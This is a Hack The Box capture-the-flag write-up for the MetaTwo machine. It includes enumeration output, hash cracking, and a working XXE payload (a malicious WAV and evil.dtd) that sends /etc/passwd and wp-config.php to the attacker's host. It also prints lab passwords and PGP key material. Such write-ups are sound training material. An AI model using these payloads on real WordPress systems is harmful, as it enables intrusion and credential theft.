Hackthebox - MetaTwo

Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -sC -O -sV -p- --min-rate=1000 10.10.11.186
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-10 13:58 EST
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 13:59 (0:00:10 remaining)
Nmap scan report for 10.10.11.186
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=11/10%Time=636D4A06%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
SF:e\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/10%OT=21%CT=1%CU=36097%PV=Y%DS=2%DC=I%G=Y%TM=636D4A
OS:D8%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST
OS:11NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 237.72 seconds
Foothold
We change our /etc/hosts files and add this line 10.10.11.186 metapress.htb
Port 80
We browse to http://metapress.htb/ and get this:
This seems to be a wordpress. We can run wpscan:
└─$ wpscan --url http://metapress.htb/ --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.18
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://metapress.htb/ [10.10.11.186]
[+] Started: Thu Nov 10 14:08:36 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: nginx/1.18.0
| - X-Powered-By: PHP/8.0.24
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://metapress.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
| - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://metapress.htb/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://metapress.htb/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1, Match: 'Version: 1.1'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:05 <=============================================================================================================================================================> (477 / 477) 100.00% Time: 00:00:05
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:18 <===========================================================================================================================================================> (2575 / 2575) 100.00% Time: 00:00:18
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <==============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <====================================================================================================================================================================> (71 / 71) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:01 <=========================================================================================================================================================> (100 / 100) 100.00% Time: 00:00:01
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Sitemap (Aggressive Detection)
| - http://metapress.htb/wp-sitemap-users-1.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Nov 10 14:09:10 2022
[+] Requests Done: 3425
[+] Cached Requests: 10
[+] Data Sent: 1.057 MB
[+] Data Received: 17.295 MB
[+] Memory used: 298.242 MB
[+] Elapsed time: 00:00:33
We tried to make a wordlist with cewl from the website but the bruteforce did not work with it so we lauched the bruteforce with rockyou.txt on the 2 found users admin and manager.
Bruteforce does not seem to be the way though
CVE 2022 0739
Navigating around in the website we find a booking press plugin
CVEs associated with it
CVE-2022-0739
Interesting article here
This does not work
This PoC for CVE 2022-0739 works
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
Note: the nonce is a number used once. It is a security token. You can read more about it here. You will need to find yours. I recommend that you intercept traffic with burp and check your nonce this way.
We now need to crack the hashes. Wordpress hashes are stored in md5. We can do it with hashcat
hashcat -O -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
We get the password for manager
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
Let's connect using it. We do not have much access with this user. Let's check for password reuse.
Password does not work on ftp
Does not work on ssh either
CVE 2021 29447
When analyzing wpscan we had a vulnerability that seemed interesting
CVE-2021-29447
for our version of wordpress 5.6.2. This article explains it well.Using this trick we can read files from the server.
Here is how I did it in my context
I created the wav file
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.4/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
I created the evil.dtd file. Here is what it contains
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.4/?p=%file;'>" >
I created a decode.php file
<?php
echo zlib_decode(base64_decode('STRING-TO-DECODE-HERE'));
?>
I launched the php server
php -S 0.0.0.0:80
I uploaded my wav file in the media library

I copied the string from the request sent to my server

I put it in my php file and went to
http://10.10.14.4/decode.php
and got the /etc/passwd file we requested.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd
Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
So we have a jnelson user
Let's try to find other interesting files. Here is a list
PHP version
PHP/8.0.24
Debian GNU/Linux 11 \n \l
nginx/1.18.0
Here is the
/etc/ssh/ssh_config
file
# This is the ssh client system-wide configuration file. See
# ssh_config(5) for more information. This file provides defaults for # users, and the values can be changed in per-user configuration files # or on the command line.
# Configuration data is parsed as follows:
# 1. command line options
# 2. user-specific file
# 3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.
# Site-wide defaults for some commonly used options. For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page. Include /etc/ssh/ssh_config.d/*.conf Host *
# ForwardAgent no
# ForwardX11 no
# ForwardX11Trusted yes
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
# GSSAPIDelegateCredentials no
# GSSAPIKeyExchange no
# GSSAPITrustDNS no
# BatchMode no
# CheckHostIP yes
# AddressFamily any
# ConnectTimeout 0
# StrictHostKeyChecking ask
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,umac-64@openssh.com
# EscapeChar ~
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k SendEnv LANG LC_* HashKnownHosts yes GSSAPIAuthentication yes
file /proc/version
Linux version 5.10.0-19-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.149-2 (2022-10-21)
file /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768; # multi_accept on;
}
http
{
## # Basic Settings ## sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
## # SSL Settings
## ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
# Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on;
## # Logging Settings
## access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
## # Gzip Settings
## gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
## # Virtual Host Configs
## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*;
}
#mail
{
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
# # # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
# # server { # listen localhost:110;
# protocol pop3; # proxy on;
#
}
# # server
{
# listen localhost:143;
# protocol imap;
# proxy on; #
}
#}
File /hom/jnelson/.profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask # for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
# set PATH so it includes user's private bin if it exists if [ -d "$HOME/bin" ] ; then PATH="$HOME/bin:$PATH" fi
# set PATH so it includes user's private bin if it exists if [ -d "$HOME/.local/bin" ] ; then PATH="$HOME/.local/bin:$PATH" fi
It is also worth checking this website to learn more about nginx and its configuration files
It also seems like we have a way to tell if a directory exists.
If it does not exist the server gives this output
If it does we get this output
Using this methodology and the fingerprinting from web server responses and nmap we could find out that the following folders exist
/etc/php/8.0/
/var/www/
(there are no folder log, logs, html, metapress inside)/var/www/metapress.htb/
/etc/nginx/sites-available/
/etc/nginx/modules-enabled/
/etc/proftpd/
/usr/local/etc/
/etc/nginx/
/etc/nginx/conf.d
/home/jnelson/
(there are no folder .ssh in )/usr/sbin/
/var/lib/
/var/lib/mysql/
/var/local/
/var/log/
/var/log/dpkg.log
(its a file that exists but its empty)/var/log/proftpd
(its a file that exists but its empty)/var/spool/
/var/spool/cron/
/srv/
WP Config file
I really want to find the wp-config.php. Ok so turns out that the absolute path
/var/www/metapress.htb/
did not work what worked was a relative path../wp-config.php
. It looks like that it is because I was missing a part of the absolute path/var/www/metapress.htb/blog/wp-config.php
For some reason with the slib the file was truncated so my evil.dtd file looks like this
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.4/?p=%file;'>" >
To decode the base64 we can also use bash as follow:
echo -n 'BASE64-STRING-HERE' | base64 --decode
And here is the wp-config.php file
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
FTP
So we have the creds for the FTP server lets login there ftp -p 10.10.11.186
User is metapress.htb and password is 9NYS_ii@FyL_p5M2NvJ
If we look around we have the wordress folder but not really inresting. There is a mailer folder though that looks interesting. The SECURITY.md is not really interesting but there is also a php script that looks juicy.
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
We get another password this way. Let's try it on ssh as we know the user jnelson is here because we found their home folder previously
SSH
ssh jnelson@metapress.htb
the password isCb4_JmWM8zUZWMu@Ys
We can grab the user flag.
Privilege escalation
Let's take linpeas right away and enumerate automatically
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
python3 -m http.server 80
And in our target
wget http://10.10.14.4/linpeas_linux_amd64
There were private ssh keys but I would not have guessed the path of the folder when trying to foothold
/home/jnelson/.passpie/.keys
Apparently passpie is password manager. We can get more info about it here
Interesting output from linepeas to analyze further
passwd file: /etc/pam.d/passwd
passwd file: /etc/passwd
passwd file: /usr/share/lintian/overrides/passwd
╔══════════╣ Unexpected in root
/initrd.img.old
/initrd.img
/vmlinuz
/vmlinuz.old
/.bash_history
/home/jnelson/user.txt
/home/jnelson/.bash_history
/home/jnelson/.gnupg/pubring.kbx
/home/jnelson/.gnupg/trustdb.gpg
There is are interesting files in jnelson
Here is the output of root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----
'
The file .keys also seems interesting
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
